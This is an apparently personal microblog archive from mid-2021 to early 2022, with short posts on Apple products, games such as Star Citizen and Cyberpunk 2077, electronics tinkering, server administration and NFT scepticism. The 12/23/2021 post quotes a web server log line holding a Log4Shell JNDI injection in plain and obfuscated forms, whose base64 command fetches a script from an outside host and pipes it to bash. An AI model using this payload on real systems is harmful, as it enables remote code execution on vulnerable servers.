Every time I end up having to do something like *for x in $(find . -type f -maxdepth 1 -name \*-header.png); do convert -quality 95 ${x} ${x%.*}.jpg; done*, I wonder how people who don't use the command line get things done... Then I realize things like 9pbaireg.pbz exist and I am sad.

╒═════╣▒ 03/06/2022 @11:57 ▒╟──────────┘

In today's edition of Apple's monopolistic lock-in to the App Store paradigm meets their terrible engineering... How, exactly am I supposed to *find* Safari extensions anymore? You can't *search* for them in the App Store, you can't *browse* a list of them... The best you can do is one of those useless 'For You' pages with like 7 of them that Apple thinks is pretty cool. You can't write you own either, since you need the stupid $100/year developer license to do so.

It's almost like no one wants you to actually *use* your computer anymore.

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[1] https://m.youtube.com/watch?v=6Wxl-m7FrXI

╒═════╣▒ 03/05/2022 @11:06 ▒╟──────────┘

From the *this-mornings-jam* department:«Young Sinatra (Logic) - The Spotlight from Undeniable»¹

Unrelated: how is it 2022 and the iOS selection and cut/copy/paste UIs still a dumpster fire?

╒═════╣▒ 03/04/2022 @23:47 ▒╟──────────┘

I am more pessimistic than «either Carmack or Atwood»¹. I don't see how we can reach level 5 autonomous vehicles without general AI and as such don't think it will happen in my lifetime, much less in 8 years. I look forward to Carmack's charitable contribution.

[1] https://blog.codinghorror.com/the-2030-self-driving-car-bet/

╒═════╣▒ 03/03/2022 @20:56 ▒╟──────────┘

How the fuck do you stop iOS from asking to pair nearby Apple accessories? This is fucking annoying. Surely they can't be so shit as to not let you stop this....

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[1] https://blog.cloudflare.com/icloud-private-relay/

╒═════╣▒ 03/02/2022 @17:53 ▒╟──────────┘

Well, I already didn't like iCloud Private Relay but «now that I see Cloudflare is involved»¹ I am even less ok with it. At least 'not paying Apple' is a really easy opt-out mechanism.

╒═════╣▒ 03/02/2022 @11:08 ▒╟──────────┘

I love that the «bug»¹ to support the «ATmega328pb»², which was released in 2015 according to the datasheet, is still languishing away. Oh, and no one bothered to fix the Debian «bug»³ either because lol waiting on upstream.

[1] https://savannah.nongnu.org/bugs/index.php?54652

[2] https://www.microchip.com/en-us/product/atmega328pb

[3] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867235

February

╒═════╣▒ 02/25/2022 @23:38 ▒╟──────────┘

From the *today-I-learned* department:

The writer and artist behind @bigpandaandtinydragon has put out «a book»¹. I ordered a copy from «Barnes & Noble»² in hopes of denying the death star a few of my generic monetary units.

[1] https://www.jamesnorbury.com/book

[2] https://www.barnesandnoble.com/w/big-panda-and-tiny-dragon-james-norbury/1139310650

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╒═════╣▒ 02/25/2022 @21:14 ▒╟──────────┘

Computers have gotten so small, that the only fun thing left is to try to pack it into as small and quiet a package as you can manage. My gaming PC idles at a tepid 10°C over ambient and kisses 42°C (CPU), and 62°C (GPU) over ambient after running Star Citizen for an hour.

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╒═════╣▒ 02/24/2022 @08:26 ▒╟──────────┘

Sometimes flying Internet spaceships makes you want to build things.

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[1] https://www.youtube.com/watch?v=qIE5LePr024

╒═════╣▒ 02/23/2022 @22:24 ▒╟──────────┘

In 2014 I ended up on team Elite: Dangerous and have been happy periodically flying around the Milky Way ever since. It seemed a no-brainer, the Space Game Kickstarter Wars of 2012 only really produced one working game at the time. It was thin, but tens of thousands of light years wide. I don't regret my time in the game and I still have things I want to do.

All that said, thanks to the likes of «Drew Wagar»¹ (Salome is remembered...) and an auspiciously timed free fly event, I have spent a few hours in «Star Citizen»². Only about 10% of it has been floating aimlessly though space, having clipped through a space ship or planet...

There is still something about being able to wake up in a bedroom, walk up a ramp into my ship, turn it on, fly to another planet, lower the ramp, and walk out.

[2] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5

╒═════╣▒ 02/20/2022 @22:08 ▒╟──────────┘

Not going to lie, I've been vibing to the Cyberpunk 2077 soundtrack a bit lately while flying Internet space ships. «This»¹ track hits in the right ways.

[1] https://music.apple.com/us/album/never-fade-away-samurai-cover-feat-olga-jankowska/1544457960?i=1544458149

╒═════╣▒ 02/19/2022 @18:19 ▒╟──────────┘

So I figured I'd give the «Star Citizen»¹ «Free Fly»²a try and it is fun. I think it's the only game I've got that runs out of CPU way before GPU though...

[1] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5

[2] https://robertsspaceindustries.com/promotions/3-16-1-Free-Fly

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╒═════╣▒ 02/19/2022 @11:54 ▒╟──────────┘

Nice.

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[1] https://championsclub.gg

╒═════╣▒ 02/18/2022 @16:31 ▒╟──────────┘

I've been watching «Dr Disrespect»¹ and «Dr Lupo»² play «Escape From Tarkov»³ lately and if there way a way to play the base building / inventory management aspect of the game without the first person shooter I'd have already bought it... As it stands, I may still buy it.

[2] https://www.drlupo.tv

[3] https://www.escapefromtarkov.com

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[1] https://devblogs.microsoft.com/oldnewthing/20220208-00/?p=106232

╒═════╣▒ 02/09/2022 @21:28 ▒╟──────────┘

Stories like «this»¹ help remind me that even behind gigantic opaque closed software projects there are human beings just like you and me.

╒═════╣▒ 02/08/2022 @11:59 ▒╟──────────┘

│ In-Reply-To: 02/08/2022 @10:31

Seriously... clean your mouse. This is making me want to vomit...

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╒═════╣▒ 02/08/2022 @10:31 ▒╟──────────┘

My mouse was acting strange... it was filled with flakes of human... When you clean your keyboards, clean your mouse too!

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[1] https://www.vestaboard.com/home

╒═════╣▒ 02/04/2022 @16:03 ▒╟──────────┘

I kinda want one of these «Vestaboard»¹ type things, only with a serial port instead of whatever Internet of Things hell is attached... and maybe a little bit less expensive.

╒═════╣▒ 02/01/2022 @10:33 ▒╟──────────┘

Thanks to «today's XKCD»¹, I pre-ordered «What If 2»² and frankly so should you.

[1] https://xkcd.com/2575/

[2] https://xkcd.com/what-if-2/

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[1] https://extensionworkshop.com/documentation/publish/signing-and-distribution-overview/

January

╒═════╣▒ 01/24/2022 @18:33 ▒╟──────────┘

It's bad enough I have to «disable signing for all extensions in Firefox»¹ to run *code I wrote* on software running *on my own damn computer*, but I can't even do that in Safari without «paying a tithe to Apple»².

[2] https://developer.apple.com/documentation/safariservices/safari_web_extensions/converting_a_web_extension_for_safari

╒═════╣▒ 01/19/2022 @14:39 ▒╟──────────┘

From the *totally-not-a-scam* department:

The grift is bigger than you may have thought. «https://web3isgoinggreat.com/»¹

«via»²

[1] https://web3isgoinggreat.com/

[2] https://brucesterling.tumblr.com/post/673733847525081088/httpsweb3isgoinggreatcom

╒═════╣▒ 01/19/2022 @12:10 ▒╟──────────┘

Built one of the «bigclivedotcom wireless LEDs»¹. Amusing to use my cell phone as a glorified 555 timer.

[1] https://www.youtube.com/watch?v=g6rI5PJLtx8

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[1] https://www.youtube.com/watch?v=B4eNWtlBELQ

╒═════╣▒ 01/18/2022 @21:26 ▒╟──────────┘

Just spent 20 minutes fighting with exim on Debian 11. Turns out by default it will offer STARTTLS to everyone and even generate a self-signed certificate (that nothing will actually accept) *at runtime* for you. This behavior is not documented either and it caused Grafana to fail at sending any alert e-mails. Since Puppet manages this I had it drop a file in */etc/exim4/conf.d/main/* called *00_exim4-config_killtls* that contained a profanity-laden snarky comment to remind myself and the line "*tls_advertise_hosts =*". Re-running *update-exim4.conf* restores sanity.

╒═════╣▒ 01/17/2022 @13:36 ▒╟──────────┘

Played a little Elite: Dangerous over the long weekend. While I recently started building out an «Imperial Clipper»¹ and love flying it, I had need to get into a medium pad and so I took my Type-6 out for a spin. Even though it's essentially a space pickup truck it still manages to put a smile on my face as it chews the light years.

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╒═════╣▒ 01/12/2022 @10:21 ▒╟──────────┘

Every now and then I like to make sure my website is still usable in terminal browsers. In this case using an actual serial terminal.

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╒═════╣▒ 01/11/2022 @10:28 ▒╟──────────┘

Nothing like starting the new year with new PCBs.

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╒═════╣▒ 01/01/2022 @18:21 ▒╟──────────┘

I may have fallen into a bit of a hole over break…

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[1] https://www.mcsweeneys.net/articles/sophocless-a-christmas-story

2021

December

╒═════╣▒ 12/23/2021 @16:01 ▒╟──────────┘

I'm a little shocked it took this long to notice the Log4J crap hitting my webserver. 😂

195.54.160.149 - - [23/Dec/2021:15:56:36 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82OS41NS42NS4xODI6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzY5LjU1LjY1LjE4Mjo0NDMpfGJhc2g=} HTTP/1.1" 403 10643 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82OS41NS42NS4xODI6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzY5LjU1LjY1LjE4Mjo0NDMpfGJhc2g=}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82OS41NS42NS4xODI6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzY5LjU1LjY1LjE4Mjo0NDMpfGJhc2g=}"

╒═════╣▒ 12/22/2021 @23:33 ▒╟──────────┘

From the *you'll-shoot-your-eye-out-kid* department:

«https://www.mcsweeneys.net/articles/sophocless-a-christmas-story»¹

╒═════╣▒ 12/22/2021 @22:00 ▒╟──────────┘

From the *failing-upward* department:

«https://www.jwz.org/blog/2021/12/scoundrel-of-the-year/»¹

[1] https://www.jwz.org/blog/2021/12/scoundrel-of-the-year/

╒═════╣▒ 12/21/2021 @12:29 ▒╟──────────┘

Ages ago I messed up and set the RSTDISBL fuse on an ATtiny85. TIL my MiniPRO TL866 can program the fuses using the high voltage programming method that doesn't need the /RST line!

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╒═════╣▒ 12/17/2021 @14:28 ▒╟──────────┘

It is a special feeling the first time that prototype hardware & software works. Once I get the 74LS151s I ordered in I will be able to finish validation and order PCBs.

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[1] https://t.co/xlDnaZo8Og

╒═════╣▒ 12/10/2021 @21:57 ▒╟──────────┘

Not going to lie, this made me respect Keanu just a little bit.

Keanu Reeves' reaction to this question about NFTs is priceless.«pic.twitter.com/xlDnaZo8Og»¹— Dare Obasanjo (@Carnage4Life) «December 10, 2021»²

«via»³

[2] https://twitter.com/Carnage4Life/status/1469450312284917760?ref_src=twsrc%5Etfw

[3] https://twitter.com/violetblue/status/1469475019927347207

Attachments:

[1] https://t.co/c7wEaMgKMX

╒═════╣▒ 12/08/2021 @15:18 ▒╟──────────┘

Happy Wednesday here’s your new PA! «https://t.co/c7wEaMgKMX»¹«#pennyarcade»² «pic.twitter.com/nhfLpo7Ynt»³— Gabe (@cwgabriel) «December 8, 2021»⁴

Ownership? Of things? In this day and age? Surely you jest! Think of the corporations!

[2] https://twitter.com/hashtag/pennyarcade?src=hash&ref_src=twsrc%5Etfw

[3] https://t.co/nhfLpo7Ynt

[4] https://twitter.com/cwgabriel/status/1468611541142421504?ref_src=twsrc%5Etfw

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[1] https://www.youtube.com/watch?v=hFJMs15sVSY

╒═════╣▒ 12/08/2021 @15:00 ▒╟──────────┘

«This»¹ is well worth an hour of you time and incidentally if you ever come across a copy of Sled Driver, I'm *interested*.

╒═════╣▒ 12/06/2021 @15:56 ▒╟──────────┘

Round three. Fight!

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[1] https://www.cyberpunk.net/us/en/

November

╒═════╣▒ 11/29/2021 @13:59 ▒╟──────────┘

After over 100 hours and completing all the side-quests I finally took the plunge and finished the «Cyberpunk 2077»¹ main campaign. There are moments of brilliance in this game. Night City feels miles wide and inches deep most of the time but there are gems and characters that make you forget that from time to time. Would like to visit V in a new game plus... someday.

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╒═════╣▒ 11/23/2021 @22:03 ▒╟──────────┘

Oh hey! My plan payment went through ok. Sweet! 🎉 👍

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[1] https://twitter.com/hashtag/NFTs?src=hash&ref_src=twsrc%5Etfw

╒═════╣▒ 11/18/2021 @18:24 ▒╟──────────┘

💀OMG WHO RIGHT CLICKED ALL OF THE «#NFTs»¹?☠️🛳🏴‍☠️ «https://t.co/o0YRK78AkL»² 🏴‍☠️🛳👀 «pic.twitter.com/g74TFqzX0n»³— geoff 👋 🇵🇹 (@GeoffreyHuntley) «November 18, 2021»⁴

BWAHAHAHAHAHAHAHAHAHAHAHA

[2] https://t.co/o0YRK78AkL

[3] https://t.co/g74TFqzX0n

[4] https://twitter.com/GeoffreyHuntley/status/1461322836165885954?ref_src=twsrc%5Etfw

Attachments:

[1] https://github.com/tadfisher/pass-otp#readme

╒═════╣▒ 11/17/2021 @16:09 ▒╟──────────┘

Moved a bunch of my TOTP tokens into «pass-otp»¹ and so far I really like it. I may have to move my Windows PC back to «passff»² to get integration.

[2] https://github.com/passff/passff

╒═════╣▒ 11/11/2021 @00:34 ▒╟──────────┘

«Restricting the ability to view a page's source»¹ tramples on the very openness that allowed the web to flourish. You all bring shame upon your houses.

[1] https://www.jwz.org/blog/2021/11/putting-on-my-hacker-hoodie-to-view-source/

╒═════╣▒ 11/09/2021 @17:38 ▒╟──────────┘

I don't get how people think that proving that they lit money and a chunk of the rainforest on fire makes them special. You don't *own* anything.

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[1] https://t.co/YEfVt8Xrwe

╒═════╣▒ 11/08/2021 @18:19 ▒╟──────────┘

Oh No «pic.twitter.com/YEfVt8Xrwe»¹— Jason Scott (@textfiles) «November 8, 2021»²

Look, when Tim O'Reilly first coined "Web 2.0", it was a way of saying, roughly, that static HTML files on sites were going to be augmented, maybe replaced, by dynamic HTML that would update frequently. By this approach, "Web 3.0" or "WEB3" would be the (already here) Web Apps.— Jason Scott (@textfiles) «November 8, 2021»³

But it's quite clear that this new thing with all these opportunistic scammers is something elseSo, I know it won't catch on, but maybe instead when we see them go "WEB3", we go "Oh, the Scumbag Web"— Jason Scott (@textfiles) «November 8, 2021»⁴

Wow, who would have thought Discord would get caught up in the sleezy techbro snakeoil cult of NFTs.

«via»⁵

[2] https://twitter.com/textfiles/status/1457751651465449475?ref_src=twsrc%5Etfw

[3] https://twitter.com/textfiles/status/1457752225439264774?ref_src=twsrc%5Etfw

[4] https://twitter.com/textfiles/status/1457752409036533769?ref_src=twsrc%5Etfw

[5] https://twitter.com/textfiles/status/1457751651465449475

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[1] https://t.co/gjgkAUrnmz

╒═════╣▒ 11/06/2021 @08:05 ▒╟──────────┘

Notes for UI designers who have lost their way. «pic.twitter.com/gjgkAUrnmz»¹— CM Scarrington (@octothorpe) «November 6, 2021»²

Lets make contrast sexy again!

[2] https://twitter.com/octothorpe/status/1456805254436204549?ref_src=twsrc%5Etfw

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[2] https://www.gnu.org/software/mailman/mailman-admin/node26.html

October

╒═════╣▒ 10/23/2021 @09:42 ▒╟───��──────┘

It's a shame that the «mailman»¹ team decided that the 3.0 rewrite was needed. I've been trying to migrate (because Debian 11 dropped the 2.1 version) but it's pretty terrible. The new list archive interface (named Hyperkitty of all things) is a mess, the index process consumes all 4GB of RAM and 4GB of swap on my mail server and then gets killed by the Linux OOM killer. I'd really have rather kept «pipermail»².

[1] http://www.list.org

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╒═════╣▒ 10/18/2021 @17:02 ▒╟──────────┘

Not sure why Apple felt the need to bury the lede, but the Touch Bar is gone! I'll probably wait a few years and get one on the second hand market because let's face it, I'm not paying $2,499 for a laptop. I'd also like to save my eyes from the contrast-hostile macOS zone for as long as possible (one can hope that contrast comes back in vogue as the designers at Apple reach biological maturity...).

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[1] https://sahelsoundscompilations.bandcamp.com/album/music-from-saharan-cellphones

╒═════╣▒ 10/14/2021 @11:05 ▒╟──────────┘

From the found-somewhere-on-tumblr department:«https://sahelsoundscompilations.bandcamp.com/album/music-from-saharan-cellphones»¹

This is pretty awesome, en elegant technology for a more civilized age.

╒═════╣▒ 10/12/2021 @23:58 ▒╟──────────┘

From the *go-pledge-to-her-patreon-right-now* department:

«The BEST Cybersecurity newsletter out there »¹... now with peanut butter...

[1] https://www.patreon.com/posts/cybersecurity-12-57299460

╒═════╣▒ 10/12/2021 @15:25 ▒╟──────────┘

From the *obnoxious-security-theater* department:

«https://www.schneier.com/blog/archives/2021/10/airline-passenger-mistakes-vintage-camera-for-a-bomb.html»¹

[1] https://www.schneier.com/blog/archives/2021/10/airline-passenger-mistakes-vintage-camera-for-a-bomb.html

╒═════╣▒ 10/12/2021 @12:32 ▒╟──────────┘

From the *still-rocking-an-iphone-7* department:«https://brokeassstuart.com/2021/10/11/why-you-should-not-buy-the-iphone-13/»¹

I would really like Touch ID to come back please.

[1] https://brokeassstuart.com/2021/10/11/why-you-should-not-buy-the-iphone-13/

╒═════╣▒ 10/12/2021 @09:39 ▒╟──────────┘

Apple's continued war on contrast (as better illustrated by «jwz»¹) is a big part of why only my work laptop is running Big Sur. The other part is that I would like my computer to behave like it is *my computer* and not like it has aspirations of being a *rented phone*.

[1] https://www.jwz.org/blog/2021/10/can-light-gray-text-on-light-gray-backgrounds-please-stop-being-a-thing/

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[1] https://www.schneier.com/blog/archives/2021/10/the-european-parliament-voted-to-ban-remote-biometric-surveillance.html

╒═════╣▒ 10/11/2021 @10:31 ▒╟──────────┘

«https://www.schneier.com/blog/archives/2021/10/the-european-parliament-voted-to-ban-remote-biometric-surveillance.html»¹

Somedays I think the EU is a good thing.

╒═════╣▒ 10/09/2021 @19:12 ▒╟──────────┘

Mosaic, A Legitimate Salvage. Someone found «https://t.co/WGvyfC7plt»¹, our 1995 NNTP server, at an electronics scrapper. As you would expect for a machine generally occupied as a news spool, various copies at various stages of the newsgroup active file... «https://t.co/GF9NlasvOe»²— j͕̠̦̪͕̓͛̊̾̄ͅw̧̧̳̪̘͊̋͗̾͢͠z̢̘̞͈̺̞̩̓̽̐̋͗̆̋̚͟͜ (@jwz) «October 9, 2021»³

[1] https://t.co/WGvyfC7plt

[2] https://t.co/GF9NlasvOe

[3] https://twitter.com/jwz/status/1446941960963596290?ref_src=twsrc%5Etfw

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[1] http://www.al.howardknight.net/?ID=163379758700

╒═════╣▒ 10/09/2021 @12:50 ▒╟──────────┘

I'm pretty happy with Windows 10 on my gaming machine so I don't really see a need to upgrade to 11 yet but for future me and anyone else who wants to bypass the Microsoft account bullshit «this post»¹ on alt.comp.os.windows-11 seems to have the goods. «Mirrored here (with the body decoded)»² because it was posted to USENET in base64.

[2] https://www.going-flying.com/~mernisse/163379758700.txt

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╒═════╣▒ 10/07/2021 @10:42 ▒╟──────────┘

Starting burn-in test on my new OpenBSD router. My poor AMD Athlon II X3 died after 12 years in production. Wanted to stay AMD but the Epyc boards are way too expensive.

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╒═════╣▒ 09/30/2021 @23:48 ▒╟──────────┘

I can't think of a better way to illustrate the absolute state of uselessness and banality of the Apple App Store than this. The featured item in your fancy new section is... a $2.99 dark mode extension...

😂 😂 😂

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[1] https://kottke.org/21/09/watch-a-cooks-tour-bourdains-first-travelfood-tv-show-for-free-online

╒═════╣▒ 09/30/2021 @20:50 ▒╟──────────┘

I straight up love everything Anthony Bourdain ever did and the world was made honestly poorer by his loss. It's a treasure that «his first TV series»¹ is now online to watch, for free.

September

╒═════╣▒ 09/28/2021 @10:36 ▒╟──────────┘

To answer all the questions, yes, it’s true, Babylon 5 is in active development as a series for the CW. We have some serious fans over at the network, and they’re eager to see this show happen. I’m hip deep into writing the pilot now, and will be running the series upon pickup.— J. Michael Straczynski (@straczynski) «September 27, 2021»¹

I am unbelievably excited by this Twitter thread.

[1] https://twitter.com/straczynski/status/1442621159221043202?ref_src=twsrc%5Etfw

╒═════╣▒ 09/25/2021 @21:09 ▒╟──────────┘

«This»¹ is a good reminder why we should stop burning the planet to please techbros. In fact we need to be doing a lot more to make computing more energy efficient. Much of the Internet is just robots shouting at each other.

[1] https://www.wired.com/story/theres-no-good-reason-to-trust-blockchain-technology/

╒═════╣▒ 09/24/2021 @22:07 ▒╟──────────┘

I was *delighted* to discover that «rot8000»¹ is not only a thing... «籲籽籪籬籽籾籪籵籵粂粀籸类籴籼»²!

[1] http://rot8000.com/info

[2] http://rot8000.com/index?籲籽%20籪籬籽籾籪籵籵粂%20粀籸类籴籼

╒═════╣▒ 09/21/2021 @13:28 ▒╟──────────┘

I am officially in the database as an amateur radio license holder. KD2WZR!

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[1] https://www.jwz.org/blog/2021/09/murderbots/

╒═════╣▒ 09/16/2021 @21:44 ▒╟──────────┘

Further proof that «self driving cars will not happen during my life time»¹. Also, they're a tremendous waste of resources.

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[1] https://www.macrumors.com/2021/06/23/kuo-2022-iphones-under-screen-touch-id/

╒═════╣▒ 09/15/2021 @23:44 ▒╟──────────┘

I swear, «the return of Touch ID»¹ and the inevitable disappointment of reality is becoming annual phenomenon. It has saved me a lot of money though. #iphone7

╒═════╣▒ 09/15/2021 @09:25 ▒╟──────────┘

«Peter Hansteen»¹ has a great article on why «OpenBSD»² makes his life better. Like many others, I started my OpenBSD journey because of the sanity in the firewall («PF»³ is still worlds better than any other firewall I've worked with) and haven't regretted any of it because frankly *correctness* is something so few software projects strive for with as much earnestness or zeal and is something so sorely needed. It stands at the border of everything I have that's connected to the Internet and has done for nearly 2 decades.

[1] https://bsdly.blogspot.com/2021/08/recent-and-not-so-recent-changes-in.html

[2] https://www.openbsd.org

[3] http://www.openbsd.org/faq/pf/

╒═════╣▒ 09/14/2021 @10:57 ▒╟──────────┘

I have this disk (in the logical sense, of course) filled with a little over 3.7TB of... well for the lack of a better word nostalgia. Copies of the original «…she’s a flight risk »¹ weblog, an «article»² from Wired by Neal Stephenson from when Wired was worth reading, some deeply «nostalgic»³ relics from when the Internet was young and free, personal archives of Twitch channels, YouTube channels, things... ephemeral. Halcyon On and On just came on Flight Risk Radio as I write this and well it's pretty apt. I wonder what I should do with all of this. I bet «@textfiles»⁴ would have an opinion...

[1] https://shes.aflightrisk.org/memory/

[2] https://www.wired.com/1996/12/ffglass/

[3] https://www.salon.com/2002/05/31/back_in_the_day/

[4] https://twitter.com/textfiles

╒═════╣▒ 09/06/2021 @12:33 ▒╟──────────┘

I have to write a thing about how I no longer think Ubiquiti products are good (in some cases I'd say they are no longer fit for purpose) but I'm having trouble doing it without sounding like an old man yelling at a cloud.

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[1] https://nielsleenheer.com/articles/2021/why-electron-apps-are-fine/

╒═════╣▒ 09/03/2021 @19:27 ▒╟──────────┘

Ran across «this»¹, saying that Electron apps are good enough. Maybe they are for other people and for quick and dirty use cases. Personally, I refuse to use them unless there is no other alternative. For me, the user experience is always hot garbage. Just because no one has bothered to complain doesn't mean it's *good*. I don't complain to application makers, I just uninstall their apps and move on with my life.

╒═════╣▒ 09/01/2021 @16:39 ▒╟──────────┘

I'd like to know if «the latest zero-click iMessage exploit»¹ is targeting the app on your device or the service. I don't use iMessage (the service) but obviously there is no way to remove/bypass iMessage the app.

[1] https://www.wired.com/story/apple-imessage-zero-click-hacks/

╒═════╣▒ 09/01/2021 @11:02 ▒╟──────────┘

It is a shame Ookla (speedtest.net) seems to have a monopoly with speedtest services. Their CLI seems to be a second thought and started silently failing recently. Turns out if you specify a server ID and their API doesn't return it (instead of returning all available servers, they try to be clever and only show you 'local' ones...), then it will simply fail. So now I have to run against whatever server it feels like meaning the data («that I collect automatically»¹) is completely useless.

[1] https://www.going-flying.com/blog/keeping-an-eye-on-my-isps-performance.html

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[1] https://www.youtube.com/watch?v=5-JyK1WvRX8

August

╒═════╣▒ 08/24/2021 @12:07 ▒╟──────────┘

Every now and then I think about getting my amateur radio ticket but I'm not sure what I'd do with it. That being said if I end up pulling the trigger, «DX Commander»¹'s YouTube channel is to blame...

╒═════╣▒ 08/23/2021 @22:44 ▒╟──────────┘

So TIL that Python got «Assignment Expressions»¹ (NAME := expr) in 3.8 and I couldn't be more pleased. I have missed being able to write while loops based on the results of an expression that used the results in the body of the loop.

[1] https://www.python.org/dev/peps/pep-0572/

╒═════╣▒ 08/19/2021 @09:12 ▒╟──────────┘

So it looks like not only has Apple's new super fancy NeuralHash algorithm been proven completely laughable, it's been discovered to already be on your device.

via «schneier.com»¹

[1] https://www.schneier.com/blog/archives/2021/08/apples-neuralhash-algorithm-has-been-reverse-engineered.html

╒═════╣▒ 08/18/2021 @17:46 ▒╟──��───────┘

Well, «patch 1.3»¹ went live for Cyberpunk 2077 and I finally got bit by a bug. I had just finished the boxing quest line and it's now showing up as unfinished. I even have the text messages you get after completing it still...

[1] https://www.cyberpunk.net/en/news/39092/patch-1-3-list-of-changes

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[1] https://take.surf/2021/08/15/review-airpods-pro-2019

╒═════╣▒ 08/16/2021 @10:22 ▒╟──────────┘

«This review»¹ pretty closely mirrors my own impression of the AirPods Pro. I'll add that if you are trying to switch between an Apple device and a non-Apple device (my work phone runs Android) they frequently refuse to re-connect to anything. They feel alarmingly cheaply built, they won't stop triggering Apple Music (which is useless on my work MacBook Pro, and likely a macOS issue not an AirPod issue) and as noted, the battery life is next to useless.

╒═════╣▒ 08/14/2021 @17:57 ▒╟──────────┘

Debian 11 released! Let the ypgrade dance begin!

Via: «https://www.debian.org/News/2021/20210814»¹

[1] https://www.debian.org/News/2021/20210814

╒═════╣▒ 08/12/2021 @10:40 ▒╟──────────┘

An oldie but a goodie! Learn about one of those infamous pieces of code in graphics programming history with our friend over at «Dave's Garage»¹.

[1] https://www.youtube.com/watch?v=uCv5VRf8op0

Attachments:

[1] https://www.publicaffairsbooks.com/titles/mike-duncan/hero-of-two-worlds/9781541730328/

╒═════╣▒ 08/11/2021 @21:19 ▒╟──────────┘

I pre-ordered my copy of «Mike Duncan's latest book»¹ at least 300 years ago... If for some reason you have not yet, perhaps this will encourage you.> We've got a trailer! Watch the trailer! Share the trailer! «https://t.co/f668LUv86T»²— Mike Duncan (@mikeduncan) «August 10, 2021»³

[2] https://t.co/f668LUv86T

[3] https://twitter.com/mikeduncan/status/1425202205687156739?ref_src=twsrc%5Etfw

╒═════╣▒ 08/08/2021 @21:32 ▒╟──────────┘

I found «this»¹ article and the proposed Python interface rather novel.via: «<eli$2107121640@qaz.wtf>»²

[1] https://vorpus.org/blog/notes-on-structured-concurrency-or-go-statement-considered-harmful/

[2] http://www.al.howardknight.net/?ID=162748722400

July

╒═════╣▒ 07/31/2021 @00:00 ▒╟──────────┘

Why on Earth would you listen to a podcast backwards? iOS Podcasts is a trash fire but every other podcast app is worse in some pretty glaring way.

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╒═════╣▒ 07/28/2021 @11:43 ▒╟──────────┘

I have told Docker Desktop at least 3 times to day to update and restart and it clearly hasn't. I'm not putting up with this children's software anymore. Through the “magic” of ssh port forwarding I'll do any future work on containers on a Linux server like an adult.

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[1] https://www.youtube.com/watch?v=wjbTohI9Xg4

╒═════╣▒ 07/24/2021 @16:46 ▒╟──────────┘

People who «exploit their children»¹ like this really do disgust me.

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[1] https://www.jwz.org/blog/2021/07/water-pirates/

╒═════╣▒ 07/23/2021 @18:36 ▒╟──────────┘

And so «the water wars»¹ of the 21st century begin...

╒═════╣▒ 07/23/2021 @08:45 ▒╟──────────┘

Wait... a free copy of The Sandman? Yeah, I'll click on that link.

Use «https://t.co/EjYoJldSQn»¹. It should be very free in the US, which is less than $34.95 «https://t.co/DSyYnmzlwb»² «pic.twitter.com/nkLOF21hms»³— Neil Gaiman (@neilhimself) «July 23, 2021»⁴

[1] https://t.co/EjYoJldSQn

[2] https://t.co/DSyYnmzlwb

[3] https://t.co/nkLOF21hms

[4] https://twitter.com/neilhimself/status/1418430245678424070?ref_src=twsrc%5Etfw

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╒═════╣▒ 07/22/2021 @23:16 ▒╟──────────┘

Doing some test fitting...

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[1] https://twitter.com/seismo_koel

╒═════╣▒ 07/22/2021 @17:18 ▒╟──────────┘

Holy shit this is cool.

People have looked inside Mars! An engineering and scientific feat documenting the layers of a red planet! Read the perspective by «@seismo_koel»¹ and myself about the results here : «https://t.co/Ul9zrYOzk9»² «@NASAInSight»³ «pic.twitter.com/QsKzbVV1c1»⁴— Sanne Cottaar (@DeepEarthExplor) «July 22, 2021»⁵

[2] https://t.co/Ul9zrYOzk9

[3] https://twitter.com/NASAInSight

[4] https://t.co/QsKzbVV1c1

[5] https://twitter.com/DeepEarthExplor/status/1418270996252012544?ref_src=twsrc%5Etfw

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[1] http://www.acq-inc.com

╒═════╣▒ 07/21/2021 @20:38 ▒╟──────────┘

I feel like this might be a sideways «Acquisitions Incorporated»¹ reference by CDPR... but probably not.

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╒═════╣▒ 07/20/2021 @12:24 ▒╟──────────┘

I don't know exactly how much CAT-6 I have run in this house but it is well over 1500' at this point.

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[1] https://youtu.be/v0awKOIJxiQ?t=776

╒═════╣▒ 07/13/2021 @20:45 ▒╟──────────┘

«Guy who kills bertha guy»¹ is the hero we all deserve. 😂

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[1] https://www.youtube.com/watch?v=MlXOYan3jmM

╒═════╣▒ 07/13/2021 @18:53 ▒╟──────────┘

Boss makes a dollar, you make a dime, «check your PPE»¹ on the company time....

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╒═════╣▒ 07/12/2021 @13:00 ▒╟──────────┘

Have we reached peak tech bubble bullshit with this? Pay us to shut up about an update!

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[1] https://www.youtube.com/watch?v=Kx76F4yR134

╒═════╣▒ 07/07/2021 @21:43 ▒╟──────────┘

Someday I might get me some «ducks to water»¹ like our fair Canaderpian friend...

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[1] https://www.jwz.org/blog/2021/07/micros1-launches-automated-license-laundering-system/

╒═════╣▒ 07/03/2021 @19:21 ▒╟──────────┘

I am sure Hackernews is busy n-way dutch ruddering eachother over «this»¹. I too look forward to the massive copyright infringement cases.

╒═════╣▒ 07/01/2021 @21:35 ▒╟──────────┘

Wait until they realize the non-zero number of problems we *cause*.

«via»¹

[1] https://twitter.com/violetblue/status/1410670849158352904

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[1] https://www.acq-inc.com

June

╒═════╣▒ 06/30/2021 @18:36 ▒╟──────────┘

So uh, the Night City franchise of the «Acquisitions Incorporated»¹ doesn't seem to be doing so well... which is pretty on-brand for them.

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[1] https://www.schneier.com/blog/archives/2021/06/banning-surveillance-based-advertising.html

╒═════╣▒ 06/26/2021 @09:51 ▒╟──────────┘

I don't think this will get any traction here in the US any time soon but a boy can hope.

